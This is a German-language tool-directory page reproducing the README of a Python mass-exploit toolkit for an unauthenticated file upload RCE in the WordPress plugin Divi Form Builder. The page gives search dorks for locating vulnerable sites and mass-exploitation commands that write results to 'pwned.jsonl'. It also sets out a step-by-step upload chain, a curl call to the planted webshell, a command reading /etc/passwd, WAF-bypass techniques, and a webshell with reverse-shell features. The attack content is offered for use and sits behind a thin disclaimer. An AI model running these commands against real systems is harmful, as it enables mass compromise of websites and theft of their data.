Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-5524-PoC — Python-Mass-Exploit-Toolkit für CVE-2026-5524, eine unauthentifizierte Datei-Upload-RCE im WordPress-Plugin Divi Form Builder, mit Webshell-Upload und Befehlsausführung. | Kitploit
Tools/GitHubGitHub/iicaicai/cve-2026-5524-poc
AufklärungSchwachstellenscannerExploitationWebanwendungs-ExploitationInformationsbeschaffungWAF-UmgehungWebsicherheitPenetrationstestsRed TeamingPayload-EntwicklungRemote-Access-Trojaner
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
GitHub
iicaicai/cve-2026-5524-poc

CVE-2026-5524-PoC

Python-Mass-Exploit-Toolkit für CVE-2026-5524, eine unauthentifizierte Datei-Upload-RCE im WordPress-Plugin Divi Form Builder, mit Webshell-Upload und Befehlsausführung.

Repository anzeigen
Teilen

CVE-2026-5524 — Divi Form Builder Unauthentifizierte RCE

Mass-Exploit-Toolkit für CVE-2026-5524, eine unauthentifizierte Schwachstelle zum beliebigen Datei-Upload im WordPress-Plugin Divi Form Builder <= 5.1.8, die zur Remote-Code-Ausführung führt.

version Devon Aji python telegram

FeldWert
CVE2026-5524
CVSS9.8 (Kritisch)
VektorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
BetroffenDivi Form Builder <= 5.1.8
Gepatcht5.1.9
TypUnauthentifizierter Datei-Upload zu RCE
Forscher0xd4rk5id3 - EnvoraSec

Inhalt

  • Beschreibung
  • Dorks
  • Installation
  • Verwendung
    • Einzelnes Ziel
    • Massen-Exploit
    • Erweitertes Bypassing
    • Befehlsausführung
  • Schwachstellendetails
  • Bypass-Techniken
  • Tech-Stack
  • Projektstruktur
  • Angriffsablauf
  • Haftungsausschluss

Beschreibung

Das Divi Form Builder Plugin für WordPress enthält eine unauthentifizierte Schwachstelle zum beliebigen Datei-Upload. Der do_image_upload()-Handler übergibt den benutzerkontrollierten POST-Parameter acceptFileTypes direkt an einen regulären Ausdruck, der zur Validierung von Dateiendungen verwendet wird. Durch die Angabe eines Werts wie phtml kann ein Angreifer die .htaccess-Regel des Plugins umgehen, die nur die .php-Endung blockiert, und eine Webshell mit einer PHP-ausführbaren Endung (.phtml, .phar, .php5, .php7 und ähnliche) hochladen.

Sobald die Datei in /wp-content/uploads/de_fb_uploads/ landet, führt Apache sie als PHP aus, was dem Angreifer Remote-Code-Ausführung als Webserver-Benutzer ermöglicht.

Das Problem ist in Divi Form Builder 5.1.9 behoben.


Dorks

FOFA

root@kitploit:~
body="de_fb_obj" && body="fb_nonce"

Shodan

root@kitploit:~
http.html:"de_fb_obj" http.html:"fb_nonce"

Google

root@kitploit:~
inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

root@kitploit:~
app:"WordPress" && body:"de_fb_obj"

Censys

root@kitploit:~
services.http.response.body: "de_fb_obj"

Installation

Voraussetzungen: Python 3.8 oder neuer unter Linux, macOS oder WSL.

root@kitploit:~
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Verwendung

Einzelnes Ziel

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com

Massen-Exploit

root@kitploit:~
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Erweitertes Bypassing

Für Ziele hinter einer WAF (NinjaFirewall, Wordfence, ModSecurity) oder mit gehärteter Apache- oder nginx-Konfiguration.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Befehlsausführung

Nach einem erfolgreichen Upload kann das Skript sofort einen Befehl ausführen oder in eine interaktive Shell wechseln.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Flags

FlagBeschreibung
-u URLEinzelne Ziel-URL
-l FILEDatei mit Zielliste, eine URL pro Zeile
-t NAnzahl gleichzeitiger Threads (Standard 10)
--timeout NAnfrage-Timeout in Sekunden (Standard 15)
-o FILEErgebnisse in JSONL-Ausgabedatei speichern
--proxy URLDatenverkehr über HTTP-Proxy leiten
--nonce HASHManuell bereitgestellten Nonce verwenden, Autodetektion überspringen
--ext EXTEine einzelne Endung erzwingen statt der vollständigen Bypass-Liste
--shellBei Erfolg in interaktive RCE-Shell wechseln (nur einzelnes Ziel)
--cmd CMDEinen Befehl auf dem Ziel ausführen, dann beenden
--shell-file FILEBenutzerdefinierte Shell-Payload hochladen statt der integrierten
--no-verifyDen RCE-Verifizierungsschritt nach dem Upload überspringen
--strict-verifyBestätigen, dass die Shell-URL HTTP 200 zurückgibt, um False Positives zu filtern
--user-iniEinen .user.ini-Dropper für PHP-FPM-Umgebungen hochladen
--htaccessEinen .htaccess-Re-Enabler für Apache-Umgebungen hochladen
--aggressiveAlle verfügbaren Bypass-Techniken aktivieren
--null-byteNull-Byte- und Doppelendungs-Versuche einschließen
--path-traversalVersuchen, in /uploads/YYYY/MM/-Unterverzeichnisse hochzuladen
--debugRohe HTTP-Antworten zur Diagnose ausgeben

Schwachstellendetails

Verwundbarer Code

Der verwundbare Handler konstruiert einen regulären Ausdruck aus Benutzereingaben ohne Bereinigung.

root@kitploit:~
public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

Durch Senden von acceptFileTypes=phtml matcht der resultierende reguläre Ausdruck /\.(phtml)$/i Dateinamen, die auf .phtml enden, obwohl die .htaccess-Datei des Plugins selbst nur die .php-Endung blockiert. Apache führt die hochgeladene Datei dann als PHP aus, was Remote-Code-Ausführung ermöglicht.

Bestätigte Angriffskette

  1. Eine Seite crawlen, die ein Divi Form Builder-Formular einbettet (/, /contact, /quote, usw.). Einen ?nocache=<random>-Parameter anhängen, um Varnish, WP Rocket und andere Seiten-Caches zu umgehen, die andernfalls einen veralteten Nonce ausliefern würden.

  2. Den fb_nonce-Wert aus dem lokalisierten JavaScript-Objekt extrahieren:

    root@kitploit:~
    de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
    
  3. Ein Multipart-Formular an /wp-admin/admin-ajax.php senden mit:

    root@kitploit:~
    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. Die Datei-URL aus der JSON-Antwort auslesen:

    root@kitploit:~
    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. Die Shell mit einem base64-kodierten Befehl aufrufen:

    root@kitploit:~
    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

Bypass-Techniken

#TechnikZiele
1Alternative PHP-Endungen .phtml, .phar, .php5, .php7, .php4, .pht, .shtmlPlugin-.htaccess-Regel, die nur .php blockiert
2Groß-/Kleinschreibung variieren .PHTML, .PHP5, .PhTmLGroß-/Kleinschreibung-sensitive WAF-Signaturen (NinjaFirewall)
3Doppelendung .phtml.jpg, .php.jpgApache mod_mime Content-Negotiation-Eigenheiten
4Null-Byte .php%00.jpg, .phtml%00.txtAlte PHP-Versionen (kleiner als 5.3.4) und bestimmte Parser
5Nachgestelltes Leerzeichen oder Punkt .php , .php.Windows IIS und ältere Apache-Versionen
6Content-Type-Spoofing application/octet-streamWAFs, die auf den Multipart-Content-Type-Header reagieren
7Eine echte .htaccess hochladen, die PHP für .gif, .png, .jpg, .txt, .html usw. wieder aktiviertApache-Server mit AllowOverride All
8Eine .user.ini mit auto_prepend_file hochladenPHP-FPM-Umgebungen
9Dateinamen-Injektion durch Multipart-Boundary-ManipulationProxies und WAFs, die den Request-Body neu parsen
10Path Traversal ../shell.phtml im DateinamenPlugin-Verzeichnisbeschränkungen

Das Skript versucht jede Technik in Prioritätsreihenfolge und, wenn --aggressive gesetzt ist, versucht es jede einzelne, auch nachdem der erste Upload Erfolg meldet.


Tech-Stack

Exploit-Skript

KomponenteTechnologie
SprachePython 3.8+
HTTP-Clientrequests
TLS-Handhabungurllib3 im unsicheren Modus für selbstsignierte Zertifikate
Nebenläufigkeitconcurrent.futures.ThreadPoolExecutor für Massen-Scanning
Parsingre für Nonce-Extraktion, json für Antwortverarbeitung
Kodierungbase64 für Webshell-Befehlsparameter
CLIargparse mit 19 konfigurierbaren Flags

Benutzerdefinierte Shell (bypass.phtml)

KomponenteTechnologie
SprachePHP 7.0+
Ausführungsfunktionensystem(), shell_exec(), proc_open(), passthru(), popen()
FrontendEinfaches HTML-Formular, kein JavaScript-Framework
FunktionenDatei-Browser, Befehlsausführung, Datenbankzugriff, Reverse Shell, selbstinstallierende .htaccess und .user.ini
GrößeUngefähr 16 KB
Bypass-SchichtenSechs unabhängige Ausführungspfade plus kodierte Payloads

Projektstruktur

root@kitploit:~
cve-2026-5524/
|-- CVE-2026-5524.py          Main exploit script
|-- bypass.phtml              16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml     Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml            Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt               Example target list
|-- pwned.jsonl               Generated by the -o flag during mass scans
|-- requirements.txt          Python dependencies
`-- README.md                 This document

Angriffsablauf

root@kitploit:~
+--------------------------------------------------+
| 1. Recon                                         |
|    GET /?nocache=<random>                        |
|    Parse fb_nonce from de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Craft exploit                                 |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Server accepts and stores file                |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Execute                                       |
|    GET shell.phtml?x=base64(command)             |
|    Remote code execution achieved                |
+--------------------------------------------------+

Haftungsausschluss

Dieses Tool wird zu Bildungszwecken und für die Verwendung während autorisierter Penetrationstests bereitgestellt. Beispiele für akzeptable Nutzung sind:

  • Bug-Bounty-Programme, die das Testen des Ziels ausdrücklich autorisieren
  • Capture-the-Flag-Wettbewerbe und dedizierte Laborumgebungen
  • Interne Sicherheitsbewertungen mit schriftlicher Genehmigung des Asset-Eigentümers
  • Akademische Sicherheitsforschung in einer kontrollierten Umgebung

Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist in praktisch jeder Gerichtsbarkeit illegal und strengstens verboten. Der Autor billigt oder übernimmt keine Verantwortung für den Missbrauch dieses Codes.

J'ai la permission et je suis autorisé à effectuer ce pentest. (Ich habe die Erlaubnis und bin autorisiert, diesen Pentest durchzuführen.)

Gesetze von wahrscheinlicher Relevanz umfassen Indonesiens UU ITE, den United States Computer Fraud and Abuse Act, die European Union Cybercrime Convention und entsprechende Gesetzgebung anderswo. Im Zweifelsfall zuerst eine schriftliche Genehmigung einholen.


Lizenz

Nur für Bildungszwecke. Die vollständigen Nutzungsbedingungen finden Sie im Abschnitt Haftungsausschluss.

Tool herunterladen